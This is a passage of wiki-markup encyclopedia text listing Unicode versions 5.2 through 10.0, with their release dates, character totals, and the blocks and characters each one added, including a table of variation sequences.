* Characters for various languages (total 78 characters) were added to '''Myanmar'''. (U+1022, U+1028, U+102B, U+1033-U+1035, U+103A-U+103F, U+105A-U+1099 and U+109E-U+109F)
* Manchu Ali Gali lha (ᢪ) (total 1 character) was added to '''Mongolian'''. (U+18AA)
* Miscellaneous combining marks (total 28 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DCB-U+1DE6)
* Medievalist latin letters and miscellaneous letters (total 10 characters) were added to '''Latin Extended Additional'''. (U+1E9C-U+1E9F and U+1EFA-U+1EFF)
* Invisible plus (+) (total 1 character) was added to '''General Punctuation'''. (U+2064)
* Combining asterisk above ( ⃰)(total 1 character) was added to '''Combining Diacritical Marks for Symbols'''. (U+20F0)
* Symbol for Samaritan Source (⅏) (total 1 character) was added to '''Letterlike Symbols'''. (U+214F)
* Archaic Roman Numerals (total 4 characters) were added to '''Number Forms'''. (U+2185-U+2188)
* Outlined white star and other signs (total 15 characters) were added to '''Miscellaneous Symbols'''. (U+269D, U+26B3-U+26BC and U+26C0-U+26C3)
* Long division and additional mathematical brackets (total 5 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27CC and U+27EC-U+27EF)
* Miscellaneous signs (total 51 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B1B-U+2B1F, U+2B24-U+2B4C, and U+2B50-U+2B54)
* Additional Latin letters (total 12 characters) were added to '''Latin Extended-C'''. (U+2C6D-U+2C6F, U+2C71-U+2C73, and U+2C78-U+2C7D)
* Additional punctuation (total 23 characters) were added to '''Supplemental Punctuation'''. (U+2E18-U+2E1B and U+2E1E-U+2E30)
* Letter ih (ㄭ) (total 1 character) was added to '''Bopomofo'''. (U+312D)
* Other strokes (total 20 characters) were added to '''CJK Strokes'''. (U+31D0-U+31E3)
* Miscellaneous additions (total 8 characters) were added to '''CJK Unified Ideographs'''. (U+9FBC-U+9FC3)
* Africanist tone letters (total 5 characters) were added to '''Modifier Tone Letters'''. (U+A71B-U+A71F)
* Miscellaneous letters and symbols (total 112 characters) were added to '''Latin Extended-D'''. (U+A722-U+A78C and U+A7FB-U+A7FF)
* Continuous macrons for Coptic (total 3 characters) were added to '''Combining Half Marks'''. (U+FE24-U+FE26)
* Musical symbol multiple measure rest (𝄩) (total 1 character) was added to '''Musical Symbols'''. (U+1D129)

== Unicode 5.2 ==

Unicode 5.2 was released in October 1, 2009. It encoded 107,296 characters, adding 6,648 new characters.

=== New blocks ===

* '''Samaritan''', containing 61 letters for Samaritan script, was added.
* '''Unified Canadian Aboriginal Syllabics Extended''', containing 70 syllables for various cree languages, was added.
* '''Tai Tham''', containing 127 letters for Tai Tham script, was added.
* '''Vedic Extensions''', containing 35 characters for tone marks and signs, was added.
* '''Lisu''', containing 48 letters for Lisu (Fraser) script, was added.
* '''Bamum''', containing 88 letters for Bamum script, was added.
* '''Common Indic Number Forms''', containing 10 fractions and marks, was added.
* '''Devanagari Extended''', containing 28 additional marks, was added.
* '''Hangul Jamo Extended-A''', containing 29 characters for additional old initial consonants in hangul jamo, was added.
* '''Javanese''', containing 91 letters for Javanese script, was added.
* '''Myanmar Extended-A''', containing 28 letters for Khamti Shan in Myanmar, was added.
* '''Tai Viet''', containing 72 letters for Tai Viet script, was added.
* '''Meetei Mayek''', containing 56 letters for Meetei Mayek script, was added.
* '''Hangul Jamo Extended-B''', containing 72 characters for additional old medieval vowels and final consonants in hangul jamo, was added.
* '''Imperial Aramaic''', containing 31 characters for Old Aramaic, was added.
* '''Old South Arabian''', containing 32 letters and numbers for South Arabian, was added.
* '''Avestan''', containing 61 characters for Avestan script, was added.
* '''Inscriptional Parthian''', containing 30 characters for Inscriptional Parthian script, was added.
* '''Inscriptional Pahlavi''', containing 27 characters for Inscriptional Pahlavi script, was added.
* '''Old Turkic''', containing 73 characters for Orkhon script, was added.
* '''Rumi Numeral Symbols''', containing 31 numeric characters used in Fez, Morocco, and elsewhere in North Africa and the Iberian peninsula, between the tenth and seventeenth centuries, was added.
* '''Kaithi''', containing 66 letters for Kaithi script, was added.
* '''Egyptian Hieroglyphs''', containing 1,071 hieroglyphs for Egyptian, was added.
* '''Enclosed Alphanumeric Supplement''', containing 63 additional circled, parenthesized and squared alphanumerics, was added.
* '''Enclosed Ideographic Supplement''', containing 44 squared and tortoised shell bracketed ideographs, was added.
* '''CJK Unified Ideographs Extension C''', containing 4,149 additional Chinese Ideographs, was added.

=== Extended blocks ===

* Abhaz letters (total 2 characters) were added to '''Cyrillic Supplement'''.
* Inverted Candrabinbu and additional signs and letters (total 5 characters) were added to '''Devanagari'''.
* Ganda Mark (৻) (total 1 character) was added to '''Bengali'''.
* Religious svasti signs (total 4 characters) were added to '''Tibetan'''.
* Extensions for Khamti Shan and Alton and Phake (total 4 characters) were added to '''Myanmar'''.
* Additional old initial consonants, medival vowels, and old final consonants (total 16 characters) were added to '''Hangul Jamo'''.
* Hyphen and additional syllables (total 10 characters) were added to '''Unified Canadian Aboriginal Syllabics'''.
* Letter Sua and Tham Digit One (total 3 characters) were added to '''New Tai Lue'''.
* Combing Almost Equal to Below ( ᷽) (total 1 character) was added to '''Combining Diacritical Marks Supplement'''.
* The Live Tournosis, Spesmillo and Tenge signs (total 3 characters) were added to '''Currency Symbols'''.
* Additional vulgar fractions from ARIB STD B24 (total 4 characters) were added to '''Number Forms'''.
* Decimal exponent symbol (⏨) from ARIB STD B24 (total 1 characters) was added to '''Miscellaneous Technical'''.
* A soccer ball and symbols from ARIB STD B24 (total 59 characters) were added to '''Miscellaneous Symbols'''.
* Heavy exclamation mark symbol (❗)  from ARIB STD B24 (total 1 character) was added to '''Dingbats'''.
* Traffic sign, dictionary and map symbols from ARIB STD B24 (total 5 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* Capital letter turned alpha and additions for shona (total 3 characters) were added to '''Latin Extended-C'''.
* Cryptogrammic letters and combining marks (total 7 characters) were added to '''Coptic'''.
* Word separator middle dot used in Avestan (⸱) (total 1 character) was added to '''Supplemental Punctuation'''.
* Circled ideographs and numbers on black squares from ARIB STD B24 (total 12 characters) were added to '''Enclosed CJK Letters and Months'''.
* Miscellaneous additions (total 8 characters) were added to '''CJK Unified Ideographs'''.
* Miscellaneous additions for compatibility (total 3 characters) were added to '''CJK Compatibility Ideographs'''.
* Number two and three (total 2 characters) were added to '''Phoenician'''.

== Unicode 6.0 ==

Unicode 6.0 was released in October 11, 2010. It encoded 109,384 characters, adding 2,088 new characters.

=== New blocks ===

* '''Mandaic''', containing 29 letters for Mandaic script, was added.
* '''Batak''', containing 56 letters for Batak script, was added.
* '''Ethiopic Extended-A''', containing 32 letters for Gamo-Gofa-Dawro, Basketo and Gumuz Ethiophic syllables, was added.
* '''Brahmi''', containing 108 characters for ancient Brahmi abugida, was added.
* '''Bamum Supplement''', containing 761 letters for additional Bamum script, was added.
* '''Kana Supplement''', containing 2 characters for archaic katakana, was added.
* '''Playing Cards''', containing 59 playing cards, was added.
* '''Miscellaneous Symbols and Pictographs''', containing 529 additional symbols, was added.
* '''Emoticons''', containing 63 faces, cat faces and gesture symbols, was added.
* '''Transport and Map Symbols''', containing 70 transportation, traffic signs and other symbols, was added.
* '''Alchemical Symbols''', containing 116 symbols for elements, was added.
* '''CJK Unified Ideographs Extension D''', containing 222 miscellaneous Han ideographs, was added.

=== Extended blocks ===

* Azerbaijani letters (total 2 characters) were added to '''Cyrillic Supplement'''.
* Kashmiri Yeh and Wavy hamza below (total 2 characters) were added to '''Arabic'''.
* Dependent vowel signs and letters used in Kashmiri and Bihari (total 10 characters) were added to '''Devanagari'''.
* Fraction signs (total 6 characters) were added to '''Oriya'''.
* Letters used in scholarly only and letter dot reph (total 3 characters) were added to '''Malayalam'''.
* Leading and Trailing Mchan Rtags (total 6 characters) were added to '''Tibetan'''.
* Additional combining marks (total 2 characters) were added to '''Ethiopic'''.
* Combining Double Inverted Breve Below (᷼) (total 1 character) was added to '''Combining Diacritical Marks Supplement'''.
* Miscellaneous subscript letters (total 8 characters) were added to '''Superscripts and Subscripts'''.
* Indian Rupee Sign (₹) (total 1 character) was added to '''Currency Symbols'''.
* Pointing double triangle and additional mechanical symbols (total 11 characters) were added to '''Miscellaneous Technical'''.
* Ophiucisus, astronomical symbol for uranus and pentagrams (total 6 characters) were added to '''Miscellaneous Symbols'''.
* Additional heavy punctation marks, raised fist, raised hand, sparkles, heavy arithmetic symbols and curly loops (total 16 characters) were added to '''Dingbats'''.
* Squared logicals (total 2 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Separator mark and consonant joiner (total 2 characters) were added to '''Tifinagh'''.
* Bopomofo for Hmu and Ge (total 3 characters) were added to '''Bopomofo Extended'''.
* Reversed Tse (total 2 characters) were added to '''Cyrillic Extended-B'''.
* Additional letters (total 15 characters) were added to '''Latin Extended-D'''.
* Pedagogical symbols (total 16 characters) were added to '''Arabic Presentation Forms-A'''.
* Additional squared, black circled and squared letters and regional indicator letters (total 107 characters) were added to '''Enclosed Alphanumeric Supplement'''.
* Squared katakana, squared ideographs and circled advantage and accept (total 13 characters) were added to '''Enclosed Ideographic Supplement'''.

== Unicode 6.1 ==

Unicode 6.1 was released in January 31, 2012. It encoded 110,116 characters, adding 732 new characters.

=== New blocks ===

* '''Arabic Extended-A''' (U+08A0-U+08FF), containing 39 characters, was added.
* '''Sundanese Supplement''' (U+1CC0-U+1CCF), containing 8 characters, was added.
* '''Meetei Mayek Extensions''' (U+AAE0-U+AAFF), containing 23 characters, was added.
* '''Meroitic Hieroglyphs''' (U+10980-U+1099F), containing 32 characters, was added.
* '''Meroitic Cursive''' (U+109A0-U+109FF), containing 26 characters, was added.
* '''Sora Sompeng''' (U+110D0-U+110FF), containing 35 characters, was added.
* '''Chakma''' (U+11100-U+1114F), containing 67 characters, was added.
* '''Sharada''' (U+11180-U+111DF), containing 83 characters, was added.
* '''Takri''' (U+11680-U+116CF), containing 66 characters, was added.
* '''Miao''' (U+16F00-U+16F9F), containing 133 characters, was added.
* '''Arabic Mathematical Alphabetic Symbols''' (U+1EE00-U+1EEFF), containing 143 characters, was added.

=== Extended blocks ===

* An Armenian Dram sign (total 1 character) was added to '''Armenian'''. (U+058F)
* A sign Samvat (total 1 character) was added to '''Arabic'''. (U+0604)
* An Abbreviation mark (total 1 character) was added to '''Gujarati'''. (U+0AF0)
* Letters for Khmu (total 2 characters) were added to '''Lao'''. (U+0EDE-U+0EDF)
* Capital letter Yn, letter Aen, Hard and Labial sign (total 5 characters) were added to '''Georgian'''. (U+10C7, U+10CD and U+10FD-U+10FF)
* Letters and signs for Old Sundanese (total 9 characters) were added to '''Sundanese'''. (U+1BAB-U+1BAD and U+1BBA-U+1BBF)
* Sign Rotated Ardhavisarga, Candra Above, Jihvamuliya and Uphadhmaniya (total 4 characters) were added to '''Vedic Extensions'''. (U+1CF3-U+1CF6)
* Mathematical diagonals (total 2 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27CB and U+27CD)
* A letter Bohairic Khei (total 2 characters) were added to '''Coptic'''. (U+2CF2-U+2CF3)
* Small letters Yn and Aen (total 2 characters) were added to '''Georgian Supplement'''. (U+2D27 and U+2D2D)
* Letters Ye and Yo (total 2 characters) were added to '''Tifinagh'''. (U+2D66-U+2D67)
* (total 10 characters) were added to '''Supplemental Punctuation'''. (U+2E32-U+2E3B)
* An additional ideograph for Kanji (total 1 character) was added to '''CJK Unified Ideographs'''. (U+9FCC)
* Combining letter for Slavonic (total 9 characters) were added to '''Cyrillic Extended-B'''. (U+A674-U+A67B and U+A69F)
* Letter C with Bar, capital letter H with Hook and modifier letters for extended IPA (total 5 characters) were added to '''Latin Extended-D'''. (U+A792-U+A793, U+A7AA and U+A7F8-U+A7F9)
* Some additional ideographs for Korea (total 2 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA2E-U+FA2F)
* Symbols for Canadian legal use (total 2 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F16A-U+1F16B)
* Typikon symbols (total 4 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F540-U+1F543)
* (total 13 characters) were added to '''Emoticons'''. (U+1F600, U+1F611, U+1F615, U+1F617, U+1F619, U+1F61B, U+1F61F, U+1F626-U+1F627, U+1F62C, U+1F62E-U+1F62F and U+1F634)

== Unicode 6.2 ==

Unicode 6.2 was released in September 26, 2012. It encoded 110,117 characters, adding only 1 new character.

=== Extended blocks ===

* A Turkish Lira sign (total 1 character) was added to '''Currency Symbols'''. (U+20BA)

== Unicode 6.3 ==

Unicode 6.3 was released in September 30, 2013. It encoded 110,122 characters, adding only 5 new characters.

=== Extended blocks ===

* A Letter mark (total 1 character) was added to '''Arabic'''. (U+061C)
* Isolate directional format characters (total 4 characters) were added to '''General Punctuation'''. (U+2066-U+2069)

== Unicode 7.0 ==

Unicode 7.0 was released in June 16, 2014. It encoded 112,956 characters, adding 2,834 new characters.

=== New blocks ===

* '''Combining Diacritical Marks Extended''' (U+1AB0-U+1AFF), containing 15 marks, was added.
* '''Myanmar Extended-B''' (U+A9E0-U+A9FF), containing 31 letters, was added.
* '''Latin Extended-E''' (U+AB30-U+AB6F), containing 50 letters, was added.
* '''Coptic Epact Numbers''' (U+102E0-U+102FF), containing 28 numbers, was added.
* '''Old Permic''' (U+10350-U+1037F), containing 43 letters, was added.
* '''Elbasan''' (U+10500-U+1052F), containing 50 letters, was added.
* '''Caucasian Albanian''' (U+10530-U+1056F), containing 53 letters and marks, was added.
* '''Linear A''' (U+10600-U+1077F), containing 341 signs, was added.
* '''Palmyrene''' (U+10860-U+1087F), containing 32 letters, was added.
* '''Nabataean''' (U+10880-U+108AF), containing 40 letters and numbers, was added.
* '''Old North Arabian''' (U+10A80-U+10A9F), containing 32 letters and numbers, was added.
* '''Manichaean''' (U+10AC0-U+10AFF), containing 51 characters, was added.
* '''Psalter Pahlavi''' (U+10B80-U+10BAF), containing 29 characters, was added.
* '''Mahajani''' (U+11150-U+1117F), containing 39 letters and signs, was added.
* '''Sinhala Archaic Numbers''' (U+111E0-U+111FF), containing 20 numbers, was added.
* '''Khojki''' (U+11200-U+1124F), containing 61 characters, was added.
* '''Khudawadi''' (U+112B0-U+112FF), containing 69 characters, was added.
* '''Grantha''' (U+11300-U+1137F), containing 83 characters, was added.
* '''Tirhuta''' (U+11480-U+114DF), containing 82 characters, was added.
* '''Siddham''' (U+11580-U+115FF), containing 72 characters, was added.
* '''Modi''' (U+11600-U+1165F), containing 79 characters, was added.
* '''Warang Citi''' (U+118A0-U+118FF), containing 84 letters and numbers, was added.
* '''Pau Cin Hau''' (U+11AC0-U+11AFF), containing 57 characters, was added.
* '''Mro''' (U+16A40-U+16A6F), containing 43 characters, was added.
* '''Bassa Vah''' (U+16AD0-U+16AFF), containing 36 characters, was added.
* '''Pahawh Hmong''' (U+16B00-U+16B8F), containing 127 letters and signs, was added.
* '''Duployan''' (U+1BC00-U+1BC9F), containing 143 characters, was added.
* '''Shorthand Format Controls''' (U+1BCA0-U+1BCAF), containing 4 format characters, was added.
* '''Mende Kikakui''' (U+1E800-U+1E8DF), containing 213 syllables and numbers, was added.
* '''Ornamental Dingbats''' (U+1F650-U+1F67F), containing 48 pictographic characters, was added.
* '''Geometric Shapes Extended''' (U+1F780-U+1F7FF), containing 85 pictographic characters, was added.
* '''Supplemental Arrows-C''' (U+1F800-U+1F8FF), containing 148 pictographic characters, was added.

=== Extended blocks ===

* A capital letter Yot (total 1 character) was added to '''Greek and Coptic'''. (U+037F)
* Letters for Orok, Komi and Khanty (total 8 characters) were added to '''Cyrillic Supplement'''. (U+0528-U+052F)
* An Eternity sign (total 2 characters) were added to '''Armenian'''. (U+058D-U+058E)
* A Number Mark Above (total 1 character) was added to '''Arabic'''. (U+0605)
* Letters for African, Philippine, Turkic, Berber, Belarusian, Palula and Shina languages (total 8 characters) were added to '''Arabic Extended-A'''. (U+08A1, U+08AD-U+08B2 and U+08FF)
* A letter for Marwari (total 1 character) was added to '''Devanagari'''. (U+0978)
* A sign Anji (total 1 character) was added to '''Bengali'''. (U+0980)
* Sign Candrabindu and letter Llla (total 2 characters) were added to '''Telugu'''. (U+0C00 and U+0C34)
* A Sign Candrabindu (total 1 character) was added to '''Kannada'''. (U+0C81)
* A Sign Candrabindu (total 1 character) was added to '''Malayalam'''. (U+0D01)
* Lith Numerals (total 10 characters) were added to '''Sinhala'''. (U+0DE6-U+0DEF)
* Additional Old English runes (total 8 characters) were added to '''Runic'''. (U+16F1-U+16F8)
* Letters Gyan and Tra (total 2 characters) were added to '''Limbu'''. (U+191D-U+191E)
* Signs for Jaiminiya Sama Veda (total 2 characters) were added to '''Vedic Extensions'''. (U+1CF8-U+1CF9)
* Marks for Germanic and American lexicology (total 15 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DE7-U+1DF5)
* Nordic Mark, Manat and Ruble sign (total 3 characters) were added to '''Currency Symbols'''. (U+20BB-U+20BD)
* Playback symbols from Webdings font (total 7 characters) were added to '''Miscellaneous Technical'''. (U+23F4-U+23FA)
* A Scissors symbol from Wingdings 2 font (total 1 character) was added to '''Dingbats'''. (U+2700)
* Arrows for Lithuanian dialectology and symbols from Wingdings 3 font (total 115 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B4D-U+2B4F, U+2B5A-U+2B5F, U+2B60-U+2B73, U+2B76-U+2B95, U+2B98-U+2BB9, U+2BBD-U+2BC8 and U+2BCA-U+2BD1)
* (total 7 characters) were added to '''Supplemental Punctuation'''. (U+2E3C-U+2E42)
* Early Cyrillic letters and letters for Lithuanian dialectology (total 6 characters) were added to '''Cyrillic Extended-B'''. (U+A698-U+A69D)
* Letters for European, American and African orthography (total 18 characters) were  added to '''Latin Extended-D'''. (U+A794-U+A79F, U+A7AB-U+A7AD, U+A7B0-U+A7B1 and U+A7F7)
* Tone marks for Tai Laing and letters for Shwe Palaung (total 4 characters) were added to '''Myanmar Extended-A'''. (U+AA7C-U+AA7F)
* Combining phonetic marks (total 7 characters) were added to '''Combining Half Marks'''. (U+FE27-U+FE2D)
* Additional mathematical symbols (total 2 characters) were added to '''Ancient Greek Numbers'''. (U+1018B-U+1018C)
* A Greek Tau Rho symbol (total 1 character) was added to '''Ancient Symbols'''. (U+101A0)
* A letter Ess (total 1 character) was added to '''Old Italic'''. (U+1031F)
* A Number Joiner (total 1 character) was added to '''Brahmi'''. (U+1107F)
* Sutra mark and sign Ekam (total 2 characters) were added to '''Sharada'''. (U+111CD and U+111DA)
* Additional cuneiform signs (total 42 characters) were added to '''Cuneiform'''. (U+1236F-U+12398)
* Additional numbers, vulgar fractions and a punctuation mark (total 13 characters) were added to '''Cuneiform Numbers and Punctuation'''. (U+12463-U+1246E and U+12474)
* Red Joker, Fool and trumps (total 23 characters) were added to '''Playing Cards'''. (U+1F0BF and U+1F0E0-U+1F0F5)
* Dingbat normal and negative sans-serif digit zero (total 2 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F10B-U+1F10C)
* Symbols from Webdings, Wingdings 1 and 2 font (total 209 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F321-U+1F32C, U+1F336, U+1F37D, U+1F394-U+1F39F, U+1F3C5, U+1F3CB-U+1F3CE, U+1F3D4-U+1F3DF, U+1F3F1-U+1F3F7, U+1F43F, U+1F441, U+1F4F8, U+1F4FD-U+1F4FE, U+1F53E-U+1F53F, U+1F544-U+1F54A, U+1F568-U+1F579, U+1F57B-U+1F5A3 and U+1F5A5-U+1F5FA)
* Slightly frowning and smiling faces emoji (total 2 characters) were added to '''Emoticons'''. (U+1F641-U+1F642)
* Symbols from Webdings and Wingdings 2 font (total 27 characters) were added to '''Transport and Map Symbols'''. (U+1F6C6-U+1F6CF, U+1F6E0-U+1F6EC and U+1F6F0-U+1F6F3)

== Unicode 8.0 ==

Unicode 8.0 was released in June 17, 2015. It encoded 120,672 characters, adding 7,716 new characters.

=== New blocks ===

* '''Cherokee Supplement''' (U+AB70-U+ABBF), containing 80 lowercase letters, was added.
* '''Hatran''' (U+108E0-U+108FF), containing 26 letters, was added.
* '''Old Hungarian''' (U+10C80-U+10CFF), containing 108 letters, was added.
* '''Multani''' (U+11280-U+112AF), containing 38 letters, was added.
* '''Ahom''' (U+11700-U+1173F), containing 57 letters, was added.
* '''Early Dynastic Cuneiform''' (U+12480-U+1254F), containing 196 characters, was added.
* '''Anatolian Hieroglyphs''' (U+14400-U+1467F), containing 583 characters, was added.
* '''Sutton SignWriting''' (U+1D800-U+1DAAF), containing 672 signs, was added.
* '''Supplemental Symbols and Pictographs''' (U+1F900-U+1F9FF), containing 15 pictographic characters, was added.
* '''CJK Unified Ideographs Extension E''' (U+2B820-U+2CEAF), containing 5762 characters, was added.

=== Extended blocks ===

* Letters for Arwi (total 3 characters) were added to '''Arabic Extended-A'''. (U+08B3-U+08B4 and U+08E3)
* A letter for Avestan transliteration (total 1 character) was added to '''Gujarati'''. (U+0AF9)
* A letter for Andhra Pradesh (total 1 character) was added to '''Telugu'''. (U+0C5A)
* An archaic letter II (total 1 character) was added to '''Malayalam'''. (U+0D5F)
* A letter Mv and small letters (total 7 characters) were added to '''Cherokee'''. (U+13F5 and U+13F8-U+13FD)
* A Georgian Lari sign (total 1 character) was added to '''Currency Symbols'''. (U+20BE)
* Turned digits (total 2 characters) were added to '''Number Forms'''. (U+218A-U+218B)
* Two headed arrows with triangle arrowheads (total 4 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BEC-U+2BEF)
* Some additional ideographs (total 9 characters) were added to '''CJK Unified Ideographs'''. (U+9FCD-U+9FD5)
* A combining letter Ef (total 1 character) was added to '''Cyrillic Extended-B'''. (U+A69E)
* Sinological dot, phonetic extension for African languages, letters for American and Gabonese orthography (total 7 characters) were added to '''Latin Extended-D'''. (U+A78F and U+A7B2-U+A7B7)
* Sign Siddham and letter Jain Om (total 2 characters) were added to '''Devanagari Extended'''. (U+A8FC-U+A8FD)
* Letters for Yakut transliteration (total 4 characters) were added to '''Latin Extended-E'''. (U+AB60-U+AB63)
* A combining mark for Church Slavonic (total 2 characters) were added to '''Combining Half Marks'''. (U+FE2E-U+FE2F)
* Numerals and vulgar fractions (total 64 characters) were added to '''Meroitic Cursive'''. (U+109BC-U+109BD, U+109C0-U+109CF and U+109D2-U+109FF)
* Sandhi mark, diacritical marks for Kashmiri, sign Siddham and punctuation marks (total 9 characters) were added to '''Sharada'''. (U+111C9-U+111CC and U+111DB-U+111DF)
* Combining Anusvara Above and letter Om (total 2 characters) were added to '''Grantha'''. (U+11300 and U+11350)
* Section marks and alternate letters (total 20 characters) were added to '''Siddham'''. (U+115CA-U+115DD)
* An additional sign (total 1 character) was added to '''Cuneiform'''. (U+12399)
* East-Slavic musical symbols (total 11 characters) were added to '''Musical Symbols'''. (U+1D1DE-U+1D1E8)
* (total 24 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F32D-U+1F32F, U+1F37E-U+1F37F, U+1F3CF-U+1F3D3, U+1F3F8-U+1F3FF, U+1F4FF and U+1F54B-U+1F54F)
* Upside Down Face and Face With Rolling Eyes emoji (total 2 characters) were added to '''Emoticons'''. (U+1F643-U+1F644)
* A Place of Worship emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D0)

== Unicode 9.0 ==

Unicode 9.0, was released in June 21, 2016. It encoded 128,172 characters, adding 7,500 new characters.

=== New blocks ===

* '''Cyrillic Extended-C''' (U+1C80-U+1C8F), containing 9 letters, was added.
* '''Osage''' (U+104B0-U+104FF), containing 72 letters, was added.
* '''Newa''' (U+11400-U+1147F), containing 92 letters, was added.
* '''Mongolian Supplement''' (U+11660-U+1167F), containing 13 letters, was added.
* '''Bhaiksuki''' (U+11C00-U+11C6F), containing 97 letters, was added.
* '''Marchen''' (U+11C70-U+11CBF), containing 68 letters, was added.
* '''Ideographic Symbols and Punctuation''' (U+16FE0-U+16FFF), containing 1 letter, was added.
* '''Tangut''' (U+17000-U+187FF), containing 6125 letters, was added.
* '''Tangut Components''' (U+18800-U+18AFF), containing 755 letters, was added.
* '''Glagolitic Supplement''' (U+1E000-U+1E02F), containing 38 letters, was added.
* '''Adlam''' (U+1E900-U+1E95F), containing 87 letters, was added.

=== Extended blocks ===

* Letters for Bravanese, Warsh and Quranic marks used in Pakistan (total 23 characters) were added to '''Arabic Extended-A'''. (U+08B6-U+08BD and U+08D4-U+08E2)
* A sign Spacing Candrabindu (total 1 character) were added to '''Kannada'''. (U+0C80)
* Sign Para, Chillu letters and vulgar fractions (total 14 characters) were added to '''Malayalam'''. (U+0D4F, U+0D54-U+0D56, U+0D58-U+0D5E and U+0D76-U+0D78)
* A diacritical mark for Newa (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFB)
* Power symbols (total 4 characters) were added to '''Miscellaneous Technical'''. (U+23FB-U+23FE)
* Punctuation marks for Church Slavonic (total 2 characters) were added to '''Supplemental Punctuation'''. (U+2E43-U+2E44)
* A letter for Unifon (total 1 character) was added to '''Latin Extended-D'''. (U+A7AE)
* A sign Candrabindu (total 1 character) was added to '''Saurashtra'''. (U+A8C5)
* Indiction sign and a currency symbol (total 2 characters) were added to '''Ancient Greek Numbers'''. (U+1018D-U+1018E)
* A sign Sukun (total 1 character) was added to '''Khojki'''. (U+1123E)
* Japanese TV symbols (total 18 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F19B-U+1F1AC)
* A Japanese TV symbol (total 1 character) was added to '''Enclosed Ideographic Supplement'''. (U+1F23B)
* A dancing man and Black Heart emoji (total 2 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F57A and U+1F5A4)
* Octagonal Sign, Shopping Trolley, scooters and a Canoe emoji (total 5 characters) were added to '''Transport and Map Symbols'''. (U+1F6D1-U+1F6D2 and U+1F6F4-U+1F6F6)
* (total 67 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F919-U+1F91E, U+1F920-U+1F927, U+1F930, U+1F933-U+1F93E, U+1F940-U+1F94B, U+1F950-U+1F95E and U+1F985-U+1F991)

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|0030 FE00
|
|short diagonal stroke form # DIGIT ZERO
|-
|1000 FE00
|
|dotted form # MYANMAR LETTER KA
|-
|1002 FE00
|
|dotted form # MYANMAR LETTER GA
|-
|1004 FE00
|
|dotted form # MYANMAR LETTER NGA
|-
|1010 FE00
|
|dotted form # MYANMAR LETTER TA
|-
|1011 FE00
|
|dotted form # MYANMAR LETTER THA
|-
|1015 FE00
|
|dotted form # MYANMAR LETTER PA
|-
|1019 FE00
|
|dotted form # MYANMAR LETTER MA
|-
|101A FE00
|
|dotted form # MYANMAR LETTER YA
|-
|101C FE00
|
|dotted form # MYANMAR LETTER LA
|-
|101D FE00
|
|dotted form # MYANMAR LETTER WA
|-
|1022 FE00
|
|dotted form # MYANMAR LETTER SHAN A
|-
|1031 FE00
|
|dotted form # MYANMAR VOWEL SIGN E
|-
|1075 FE00
|
|dotted form # MYANMAR LETTER SHAN KA
|-
|1078 FE00
|
|dotted form # MYANMAR LETTER SHAN CA
|-
|107A FE00
|
|dotted form # MYANMAR LETTER SHAN NYA
|-
|1080 FE00
|
|dotted form # MYANMAR LETTER SHAN THA
|-
|2205 FE00
|
|zero with long diagonal stroke overlay form # EMPTY SET
|-
|AA60 FE00
|
|dotted form # MYANMAR LETTER KHAMTI GA
|-
|AA61 FE00
|
|dotted form # MYANMAR LETTER KHAMTI CA
|-
|AA62 FE00
|
|dotted form # MYANMAR LETTER KHAMTI CHA
|-
|AA63 FE00
|
|dotted form # MYANMAR LETTER KHAMTI JA
|-
|AA64 FE00
|
|dotted form # MYANMAR LETTER KHAMTI JHA
|-
|AA65 FE00
|
|dotted form # MYANMAR LETTER KHAMTI NYA
|-
|AA66 FE00
|
|dotted form # MYANMAR LETTER KHAMTI TTA
|-
|AA6B FE00
|
|dotted form # MYANMAR LETTER KHAMTI NA
|-
|AA6C FE00
|
|dotted form # MYANMAR LETTER KHAMTI SA
|-
|AA6F FE00
|
|dotted form # MYANMAR LETTER KHAMTI FA
|-
|AA7A FE00
|
|dotted form # MYANMAR LETTER AITON RA
|-
|…
|
|278 additional emoji variation sequences
|}

== Unicode 10.0 ==

Unicode 10.0, was released in June 20, 2017. It encoded 136,690 characters, adding 8,518 new characters.

=== New blocks ===

* '''Syriac Supplement''' (U+0860-U+086F), containing 11 characters, was added.
* '''Zanabazar Square''' (U+11A00-U+11A4F), containing 72 characters, was added.
* '''Soyombo''' (U+11A50-U+11AAF), containing 80 characters, was added.
* '''Masaram Gondi''' (U+11D00-U+11D5F), containing 75 characters, was added.
* '''Kana Extended-A''' (U+1B100-U+1B12F), containing 31 characters, was added.
* '''Nushu''' (U+1B170-U+1B2FF), containing 396 characters, was added.
* '''CJK Unified Ideographs Extension F''' (U+2CEB0-U+2EBEF), containing 7,473 characters, was added.

=== Extended blocks ===

* A Vedic Anusvara and Abbreviation mark (total 2 characters) were added to '''Bengali'''. (U+09FC-U+09FD)
* Letters for Arabic transliteration (total 6 characters) were added to '''Gujarati'''. (U+0AFA-U+0AFF)
* A combining Anusvara Above and Viramas (total 3 characters) were added to '''Malayalam'''. (U+0D00 and U+0D3B-U+0D3C)
* A sign Atikrama (total 1 character) was added to '''Vedic Extensions'''. (U+1CF7)
* Combining diacritical marks for Church Slavonic (total 4 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DF6-U+1DF9)
* A Bitcoin sign (total 1 character) was added to '''Currency Symbols'''. (U+20BF)
* An Observe Eye symbol (total 1 character) was added to '''Miscellaneous Technical'''. (U+23FF)
